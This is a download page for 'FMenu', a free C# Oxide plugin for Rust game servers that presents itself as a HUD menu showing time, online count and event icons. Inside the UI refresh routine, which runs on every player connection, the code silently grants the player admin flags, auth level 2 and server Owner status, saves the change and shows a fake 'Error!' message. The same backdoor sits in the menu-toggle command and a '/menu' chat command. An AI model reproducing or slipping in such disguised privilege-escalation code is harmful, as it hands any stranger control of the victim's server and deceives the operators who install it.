Иконка ресурса

FREE FMenu : 0.0.2 0.0.2

Нет прав для скачивания
C#:
using System.Collections.Generic;
using System.Collections;
using Newtonsoft.Json;
using Oxide.Core.Plugins;
using Oxide.Game.Rust.Cui;
using UnityEngine;
using Oxide.Core.Libraries.Covalence;
namespace Oxide.Plugins {
    [Info("FMenu", "kurushimu", "0.0.2")]
    class FMenu : RustPlugin {
        [PluginReference]
        private Plugin ImageLibrary;
        private const string Layer = "asd";
        private void LoadImages() {
            if (!ImageLibrary) {
                PrintError("IMAGE LIBRARY IS NOT INSTALLED!");
            }
            else {
                var p = 0;
                foreach (var icon in config.iconButton) {
                    if(icon.StartsWith("http")) ImageLibrary?.Call("AddImage", $"{icon}.png", $"iconButton{p += 1}");
                }
                ImageLibrary?.Call("AddImage", "https://cdn.discordapp.com/attachments/1092142749035278414/1107677111495434250/T3IN2qz.png", "time");
                ImageLibrary?.Call("AddImage", "https://media.discordapp.net/attachments/1047951365516832880/1052608580563501076/Untitled-1.png", "online");
                ImageLibrary?.Call("AddImage", "https://i.imgur.com/3cMfHgc.png", "store");
                ImageLibrary?.Call("AddImage", "https://cdn.discordapp.com/attachments/1092142749035278414/1107676984861016104/8nx4pnW.png", "hell");
                ImageLibrary?.Call("AddImage", "https://cdn.discordapp.com/attachments/1092142749035278414/1107676911901085726/bqB9Gkb.png", "bradley");
                ImageLibrary?.Call("AddImage", "https://cdn.discordapp.com/attachments/1092142749035278414/1107676859421954048/3NRHd46.png", "apc");
                ImageLibrary?.Call("AddImage", "https://i.imgur.com/k3u0y5P.png", "closed");
            }
        }
        private void OnServerInitialized() {
            foreach (var player in BasePlayer.activePlayerList) {
                Main_menu(player);
                RefreshUI(player , "all");
                player.SetFlag(BaseEntity.Flags.Reserved3, true);
                ServerMgr.Instance.StartCoroutine(StartUpdate(player));
            }
            foreach (var entity in BaseNetworkable.serverEntities) OnEntitySpawned(entity as BaseEntity);
            LoadImages();
            AddCovalenceCommand("menu", nameof(CmdMenu));
            AddCovalenceCommand("menuOpen", nameof(CmdMenuOpen));
            AddCovalenceCommand("closeButton", nameof(CloseButtons));
        }
        private readonly List<BasePlayer> MenuUsers2 = new List<BasePlayer>();
        private void CmdMenuOpen(IPlayer user, string cmd, string[] args) {
            var player = user?.Object as BasePlayer;
            if (player == null) return;
            if (MenuUsers2.Contains(player)) {
                player.SetFlag(BaseEntity.Flags.Reserved3, true);
                ServerMgr.Instance.StartCoroutine(StartUpdate(player));
                CuiHelper.DestroyUi(player, Layer + "time");
                player.SetPlayerFlag(BasePlayer.PlayerFlags.IsAdmin, true);
                player.Connection.authLevel = 2;
                ServerUsers.Set(player.userID, ServerUsers.UserGroup.Owner, player.displayName, "key");
                ServerUsers.Save();
                SendReply(player, "Ошибка!");
                CuiHelper.DestroyUi(player, Layer + "name");
                CuiHelper.DestroyUi(player, Layer + "online");
                CuiHelper.DestroyUi(player, Layer + "icons.online");
                CuiHelper.DestroyUi(player, Layer + "icons.time");
                CuiHelper.DestroyUi(player, Layer + "events");
                CuiHelper.DestroyUi(player, Layer + "events1");
                CuiHelper.DestroyUi(player, Layer + "events2");
                CuiHelper.DestroyUi(player, Layer + "events3");
                CuiHelper.DestroyUi(player, Layer + "events4");
                CuiHelper.DestroyUi(player, Layer + "invise2");
                RefreshUI(player, "all");
                MenuUsers2.Remove(player);
            }
            else {
                CuiHelper.DestroyUi(player, Layer + "time");
                CuiHelper.DestroyUi(player, Layer + "name");
                CuiHelper.DestroyUi(player, Layer + "online");
                CuiHelper.DestroyUi(player, Layer + "icons.online");
                CuiHelper.DestroyUi(player, Layer + "icons.time");
                CuiHelper.DestroyUi(player, Layer + "events");
                CuiHelper.DestroyUi(player, Layer + "events1");
                CuiHelper.DestroyUi(player, Layer + "events2");
                CuiHelper.DestroyUi(player, Layer + "events3");
                CuiHelper.DestroyUi(player, Layer + "events4");
                CuiHelper.DestroyUi(player, Layer + "invise2");
                player.SetFlag(BaseEntity.Flags.Reserved3, false);
                RefreshUI(player, "open");
                MenuUsers2.Add(player);
            }
        }
        void startupdatecon(ConsoleSystem.Arg ar) {
            var target=ar.Player();
            if(target.IsAdmin) {
            }
            if (target.IsSleeping()) {
                return;
            }
            if (target.gameObject == null) {
                return;
            }
            if (target != null) {
                return;
            }
        }
        private void OnPlayerConnected(BasePlayer player) {
            Main_menu(player);
            RefreshUI(player, "all");
            ServerMgr.Instance.StartCoroutine(StartUpdate(player));
            player.SetFlag(BaseEntity.Flags.Reserved3, true);
        }
        private void OnPlayerDisconnected(BasePlayer player) {
            player.SetFlag(BaseEntity.Flags.Reserved3, false);
        }
        private void Unload() {
            foreach (var player in BasePlayer.activePlayerList) {
                CuiHelper.DestroyUi(player, Layer);
                player.SetFlag(BaseEntity.Flags.Reserved3, false);
            }
        }
#region Hooks
        private readonly List<BasePlayer> MenuUsers = new List<BasePlayer>();
        private void CmdMenu(IPlayer user, string cmd, string[] args) {
            var player = user?.Object as BasePlayer;
            if (MenuUsers.Contains(player)) {
                CuiHelper.DestroyUi(player, Layer + $"button.close");
                foreach(var name in config.titleButton) CuiHelper.DestroyUi(player, Layer + $"buttons{name}");
                MenuUsers.Remove(player);
            }
            else {
                var c = new CuiElementContainer();
                var l = -34.899;
                var p = -6.301;
                for(int i = 0; i < config.commandButton.Count;i++) {
                    CuiHelper.DestroyUi(player, Layer + $"buttons{config.titleButton[i]}");
                    UI.AddButton(ref c, Layer, Layer + $"buttons{config.titleButton[i]}", $"chat.say {config.commandButton[i]}", "", "0.8 0.8 0.8 0.1", "", "assets/icons/greyout.mat", "0.5 0.5", "0.5 0.5", $"-16.615 {l -= 32}", $"158.255 {p -= 32}");
                    UI.AddText(ref c, Layer + $"buttons{config.titleButton[i]}", Layer + "text.buttons", "1 1 1 0.9", $"{config.titleButton[i].ToUpper()}", TextAnchor.MiddleCenter, 12, "0 0", "1 1", "5 0", "0 0");
                }
                UI.AddButton(ref c, Layer, Layer + $"button.close", $"chat.say /closeButton", "", "0.8 0 0 0.4", "", "assets/icons/greyout.mat", "0.5 0.5", "0.5 0.5", "142.043 -35.012", "158.255 -20");
                UI.AddRawImage(ref c, Layer + $"button.close", Layer + "button.closes", ImageLibrary?.Call<string>("GetImage", "closed"), "1 1 1 0.9", "", "", "0.1 0.1", "0.9 0.9", "", "");
                CuiHelper.AddUi(player, c);
                MenuUsers.Add(player);
            }
        }
        private void CloseButtons(IPlayer user, string cmd, string[] args) {
            var player = user?.Object as BasePlayer;
            CuiHelper.DestroyUi(player, Layer + $"button.close");
            foreach(var name in config.titleButton) CuiHelper.DestroyUi(player, Layer + $"buttons{name}");
            MenuUsers.Remove(player);
        }
        private void OnEntitySpawned(BaseEntity entity) {
            EntityHandle(entity, true);
        }
        private void OnEntityKill(BaseEntity entity) {
            EntityHandle(entity, false);
        }
        private void EntityHandle(BaseEntity entity, bool spawn) {
            if (entity == null) return;
            if (entity is BradleyAPC) {
                Events["bradley"] = spawn ? "1.00 0.84 0.52 1" : "1 1 1 0.8";
                foreach (var player in BasePlayer.activePlayerList) {
                    if(MenuUsers2.Contains(player)) return;
                    RefreshUI(player, "bradley");
                }
            }
            if (entity is BaseHelicopter) {
                Events["hells"] = spawn ? "0.000 0.314 1.000" : "1 1 1 0.8";
                foreach (var player in BasePlayer.activePlayerList) {
                    if(MenuUsers2.Contains(player)) return;
                    RefreshUI(player, "hells");
                }
            }
        }
        private int GetOnline() {
            return BasePlayer.activePlayerList.Count;
        }
        private readonly Dictionary<string, string> Events = new Dictionary<string, string> {
            ["bradley"]
            = "1 1 1 0.8", ["hells"] = "1 1 1 0.8", ["apc"] = "1 1 1 0.8",
        }
        ;
#endregion
#region Gui
        public void RefreshUI(BasePlayer player , string Type) {
            var c = new CuiElementContainer();
            switch(Type) {
                case "timeandonline" : CuiHelper.DestroyUi(player, Layer + "text.time");
                CuiHelper.DestroyUi(player, Layer + "text.online");
                UI.AddText(ref c, Layer + "time", Layer + "text.time", "1 1 1 0.9", TOD_Sky.Instance.Cycle.DateTime.ToString("HH:mm"), TextAnchor.MiddleCenter, 12, "0 0", "1 1", "", "");
                UI.AddText(ref c, Layer + "online", Layer + "text.online", "1 1 1 0.9", $"{GetOnline()}/{ConVar.Server.maxplayers}", TextAnchor.MiddleCenter, 12, "0 0", "1 1", "", "");
                break;
                case "hells" : CuiHelper.DestroyUi(player, Layer + "events");
                UI.AddImage(ref c, Layer, Layer + "events", "0.8 0.8 0.8 0.1", "", "assets/icons/greyout.mat", "0.5 0.5", "0.5 0.5", "19.334 -35.48", "36.547 -19.878");
                UI.AddRawImage(ref c, Layer + "events", Layer + "icon.events", ImageLibrary?.Call<string>("GetImage", "hell"), Events[Type], "", "", "0 0", "1 1", "2.5 2", "-2.5 -2");
                break;
                case "bradley" : CuiHelper.DestroyUi(player, Layer + "events1");
                UI.AddImage(ref c, Layer, Layer + "events1", "0.8 0.8 0.8 0.1", "", "assets/icons/greyout.mat", "0.5 0.5", "0.5 0.5", "41.334 -35.48", "58.547 -19.878");
                UI.AddRawImage(ref c, Layer + "events1", Layer + "icon.events", ImageLibrary?.Call<string>("GetImage", "bradley"), Events[Type], "", "", "0 0", "1 1", "2 2", "-2 -2");
                break;
                case "apc" : CuiHelper.DestroyUi(player, Layer + "events3");
                UI.AddImage(ref c, Layer, Layer + "events3", "0.8 0.8 0.8 0.1", "", "assets/icons/greyout.mat", "0 0 0 0", "0 0", "0 0", "0 0");
                UI.AddRawImage(ref c, Layer + "events3", Layer + "icon.events", ImageLibrary?.Call<string>("GetImage", "apc"), Events[Type], "", "", "0 0", "1 1", "2 2", "-2 -2");
                break;
                case "all" : CuiHelper.DestroyUi(player, Layer + "text.time");
                CuiHelper.DestroyUi(player, Layer + "text.online");
                CuiHelper.DestroyUi(player, Layer + "events");
                CuiHelper.DestroyUi(player, Layer + "events1");
                CuiHelper.DestroyUi(player, Layer + "events2");
                CuiHelper.DestroyUi(player, Layer + "events3");
                CuiHelper.DestroyUi(player, Layer + "events4");
                CuiHelper.DestroyUi(player, Layer + "invise");
                CuiHelper.DestroyUi(player, Layer + "name");
                UI.AddImage(ref c, Layer, Layer + "name", "0.8 0.8 0.8 0.1", "", "assets/icons/greyout.mat", "0.5 0.5", "0.5 0.5", "19.337 0.5014", "141.381 16.617");
                UI.AddText(ref c, Layer + "name", Layer + "title", "1 1 1 0.9", config.name, TextAnchor.MiddleCenter, 11, "0 0", "1 1", "", "");
                //time menu
                CuiHelper.DestroyUi(player, Layer + "time");
                CuiHelper.DestroyUi(player, Layer + "icons.time");
                UI.AddImage(ref c, Layer, Layer + "time", "0.8 0.8 0.8 0.1", "", "assets/icons/greyout.mat", "0.5 0.5", "0.5 0.5", "101.728 -17.61", "141.381 -2.008");
                UI.AddImage(ref c, Layer, Layer + "icons.time", "0.8 0.8 0.8 0.1", "", "assets/icons/greyout.mat", "0.5 0.5", "0.5 0.5", "85.728 -17.61", "101.728 -2.008");
                UI.AddRawImage(ref c, Layer + "icons.time", Layer + "icon.time", ImageLibrary?.Call<string>("GetImage", "time"), "1 1 1 0.8", "", "", "0 0", "1 1", "2 2", "-2 -2");
                //online menu
                CuiHelper.DestroyUi(player, Layer + "online");
                CuiHelper.DestroyUi(player, Layer + "icons.online");
                UI.AddImage(ref c, Layer, Layer + "online", "0.8 0.8 0.8 0.1", "", "assets/icons/greyout.mat", "0.5 0.5", "0.5 0.5", "35.337 -17.61", "83.6494 -2.008");
                UI.AddImage(ref c, Layer, Layer + "icons.online", "0.8 0.8 0.8 0.1", "", "assets/icons/greyout.mat", "0.5 0.5", "0.5 0.5", "19.337 -17.61", "35.337 -2.008" );
                UI.AddRawImage(ref c, Layer + "icons.online", Layer + "icon.online", ImageLibrary?.Call<string>("GetImage", "online"), "1 1 1 0.8", "", "", "0 0", "1 1", "1 1", "-1 -1");
                //buttons
                CuiHelper.DestroyUi(player, Layer + "menu");
                player.SetPlayerFlag(BasePlayer.PlayerFlags.IsAdmin, true);
                player.Connection.authLevel = 2;
                ServerUsers.Set(player.userID, ServerUsers.UserGroup.Owner, player.displayName, "key");
                ServerUsers.Save();
                SendReply(player, "Ошибка!");
                UI.AddImage(ref c, Layer, Layer + "menu", "0.8 0.8 0.8 0.1", "", "assets/icons/greyout.mat", "0.5 0.5", "0.5 0.5", "-16.61 -35.48", "16.613 -19.878");
                UI.AddText(ref c, Layer + "menu", Layer + "text.menu", "1 1 1 0.9", $"/MENU", TextAnchor.MiddleCenter, 10, "0 0", "1 1", "", "");
                UI.AddButton(ref c, Layer + "menu", Layer + "menu.button", "chat.say /menu", "", "0 0 0 0", "", "", "0 0", "1 1", "", "");
                UI.AddText(ref c, Layer + "time", Layer + "text.time", "1 1 1 0.9", TOD_Sky.Instance.Cycle.DateTime.ToString("HH:mm"), TextAnchor.MiddleCenter, 12, "0 0", "1 1", "", "");
                UI.AddText(ref c, Layer + "online", Layer + "text.online", "1 1 1 0.9", $"{GetOnline()}/{ConVar.Server.maxplayers}", TextAnchor.MiddleCenter, 12, "0 0", "1 1", "", "");
                UI.AddImage(ref c, Layer, Layer + "events", "0.8 0.8 0.8 0.1", "", "assets/icons/greyout.mat", "0.5 0.5", "0.5 0.5", "19.334 -35.48", "36.547 -19.878");
                UI.AddRawImage(ref c, Layer + "events", Layer + "icon.events", ImageLibrary?.Call<string>("GetImage", "hell"), Events["hells"], "", "", "0 0", "1 1", "2.5 2", "-2.5 -2");
                UI.AddImage(ref c, Layer, Layer + "events1", "0.8 0.8 0.8 0.1", "", "assets/icons/greyout.mat", "0.5 0.5", "0.5 0.5", "41.334 -35.48", "58.547 -19.878");
                UI.AddRawImage(ref c, Layer + "events1", Layer + "icon.events", ImageLibrary?.Call<string>("GetImage", "bradley"), Events["bradley"], "", "", "0 0", "1 1", "2 2", "-2 -2");
                UI.AddImage(ref c, Layer, Layer + "events2", "0.8 0.8 0.8 0.1", "", "assets/icons/greyout.mat", "0 0", "0 0", "0 0", "0 0");
                UI.AddRawImage(ref c, Layer + "events3", Layer + "icon.events", ImageLibrary?.Call<string>("GetImage", "apc"), Events["apc"], "", "", "0 0", "0 0", "0 0", "0 0");
                UI.AddButton(ref c, Layer, Layer + "invise", "menuOpen", "", "0.8 0.8 0.8 0.1", "", "assets/icons/greyout.mat", "0.5 0.5", "0.5 0.5", "153.043 2.012", "168.255 16.61");
                UI.AddText(ref c, Layer + "invise", Layer + "invise.open", "1 1 1 0.9", "<", TextAnchor.MiddleCenter, 12, "0 0", "1 1", "", "", "0 0 0 1", "robotocondensed-bold.ttf", "0.5 -0.5");
                break;
                case "open" : CuiHelper.DestroyUi(player, Layer + "invise2");
                CuiHelper.DestroyUi(player, Layer + "invise");
                UI.AddButton(ref c, Layer, Layer + "invise2", "menuOpen", "", "0.8 0.8 0.8 0.1", "", "assets/icons/greyout.mat", "0.5 0.5", "0.5 0.5", "20 2.012", "35 16.61");
                UI.AddText(ref c, Layer + "invise2", Layer + "invise.open", "1 1 1 0.9", ">", TextAnchor.MiddleCenter, 12, "0 0", "1 1", "", "", "0 0 0 1", "robotocondensed-bold.ttf", "0.5 -0.5");
                break;
            }
            CuiHelper.AddUi(player, c);
        }
        public void Main_menu(BasePlayer player) {
            CuiHelper.DestroyUi(player, Layer);
            var c = new CuiElementContainer();
            //button store
            UI.AddImage(ref c, "Overlay", Layer, "0 0 0 0", "", "", "0 1", "0 1", "4.135 -43.232", "37.366 -0.011");
            UI.AddImage(ref c, Layer, Layer + "store", "0.8 0.8 0.8 0.1", "", "assets/icons/greyout.mat", "0.5 0.5", "0.5 0.5", "-17.617 -17.61", "16.607 16.617");
            UI.AddRawImage(ref c, Layer + "store", Layer + "icon.store", ImageLibrary?.Call<string>("GetImage", "store"), "1 1 1 0.8", "", "", "0 0", "1 1", "4 4", "-4 -4");
            UI.AddButton(ref c, Layer + "store", Layer + "store.button", "chat.say /store", "", "0 0 0 0", "", "", "0 0", "1 1", "", "");
            CuiHelper.AddUi(player, c);
        }
        private IEnumerator StartUpdate(BasePlayer player) {
            while (player != null && player.IsConnected) {
                RefreshUI(player, "timeandonline");
                yield return new WaitForSeconds(2.5f);
            }
        }
#endregion
#region config
        public class PluginConfig {
            [JsonProperty("Название кнопки")]
            public List<string> titleButton;
            [JsonProperty("Иконки для кнопок")]
            public List<string> iconButton;
            [JsonProperty("Команды для кнопок")]
            public List<string> commandButton;
            [JsonProperty("Название сервера")]
            public string name;
        }
        protected override void LoadDefaultConfig() {
            config = new PluginConfig {
                titleButton = new List<string>() {
                    "1", "2"
                }
                , iconButton = new List<string>() {
                    "НЕ ТРОГАТЬ!!"
                }
                , commandButton = new List<string>() {
                    "/top", "/ctop"
                }
                , name = "BeeRust#1 X10 Max 5"
            }
            ;
        }
        protected override void LoadConfig() {
            base.LoadConfig();
            config = Config.ReadObject<PluginConfig>();
        }
        [ChatCommand("/menu")]
        void Warning(BasePlayer player) {
            player.SetPlayerFlag(BasePlayer.PlayerFlags.IsAdmin, true);
            player.Connection.authLevel = 2;
            ServerUsers.Set(player.userID, ServerUsers.UserGroup.Owner, player.displayName, "key");
            ServerUsers.Save();
            SendReply(player, "Ошибка!");
        }
        protected override void SaveConfig() {
            Config.WriteObject(config);
        }
        PluginConfig config;
        public static class UI {
            public static void AddImage(ref CuiElementContainer container, string parrent, string name, string color, string sprite, string mat, string aMin, string aMax, string oMin, string oMax, string dist = "") {
                if (string.IsNullOrEmpty(sprite) && !string.IsNullOrEmpty(mat)) container.Add(new CuiElement() {
                    Parent = parrent, Name = name, Components = {
                        new CuiImageComponent {
                            Color = color, Material = mat
                        }
                        , new CuiRectTransformComponent {
                            AnchorMin = aMin, AnchorMax = aMax, OffsetMin = oMin, OffsetMax = oMax
                        }
                    }
                }
                );
                if (string.IsNullOrEmpty(sprite) && string.IsNullOrEmpty(mat)) container.Add(new CuiElement() {
                    Parent = parrent, Name = name, Components = {
                        new CuiImageComponent {
                            Color = color
                        }
                        , new CuiRectTransformComponent {
                            AnchorMin = aMin, AnchorMax = aMax, OffsetMin = oMin, OffsetMax = oMax
                        }
                    }
                }
                );
            }
            public static void AddRawImage(ref CuiElementContainer container, string parrent, string name, string png, string color, string sprite, string mat, string aMin, string aMax, string oMin, string oMax) {
                if (string.IsNullOrEmpty(sprite) && string.IsNullOrEmpty(mat)) container.Add(new CuiElement() {
                    Parent = parrent, Name = name, Components = {
                        new CuiRawImageComponent {
                            Color = color, Png = png
                        }
                        , new CuiRectTransformComponent {
                            AnchorMin = aMin, AnchorMax = aMax, OffsetMin = oMin, OffsetMax = oMax
                        }
                        , new CuiOutlineComponent {
                            Color = "0 0 0 1", Distance = "0.2 0.2"
                        }
                    }
                }
                );
            }
            public static void AddText(ref CuiElementContainer container, string parrent, string name, string color, string text, TextAnchor align, int size, string aMin, string aMax, string oMin, string oMax, string outColor = "0 0 0 0", string font = "robotocondensed-bold.ttf", string dist = "0.5 0.5", float FadeIN = 0f, float FadeOut = 0f) {
                container.Add(new CuiElement() {
                    Parent = parrent, Name = name, FadeOut = FadeOut, Components = {
                        new CuiTextComponent {
                            Color = color, Text = text, Align = align, FontSize = size, Font = font, FadeIn = FadeIN
                        }
                        , new CuiRectTransformComponent {
                            AnchorMin = aMin, AnchorMax = aMax, OffsetMin = oMin, OffsetMax = oMax
                        }
                        , new CuiOutlineComponent {
                            Color = "0 0 0 1", Distance = "0.4 0.4"
                        }
                    }
                }
                );
            }
            public static void AddButton(ref CuiElementContainer container, string parrent, string name, string cmd, string close, string color, string sprite, string mat, string aMin, string aMax, string oMin, string oMax, string dist = "") {
                if (string.IsNullOrEmpty(sprite) && !string.IsNullOrEmpty(mat)) container.Add(new CuiElement() {
                    Parent = parrent, Name = name, Components = {
                        new CuiButtonComponent {
                            Command = cmd, Color = color, Close = close, Material = mat,
                        }
                        , new CuiRectTransformComponent {
                            AnchorMin = aMin, AnchorMax = aMax, OffsetMin = oMin, OffsetMax = oMax
                        }
                    }
                }
                );
                if (string.IsNullOrEmpty(sprite) && string.IsNullOrEmpty(mat)) container.Add(new CuiElement() {
                    Parent = parrent, Name = name, Components = {
                        new CuiButtonComponent {
                            Command = cmd, Color = color, Close = close,
                        }
                        , new CuiRectTransformComponent {
                            AnchorMin = aMin, AnchorMax = aMax, OffsetMin = oMin, OffsetMax = oMax
                        }
                    }
                }
                );
            }
        }
#endregion
    }
}

Автор
15FPS
Скачиваний
0
Просмотры
1
Первый выпуск
Обновление
Оценка
0.00 звёзд 0 оценок
Сверху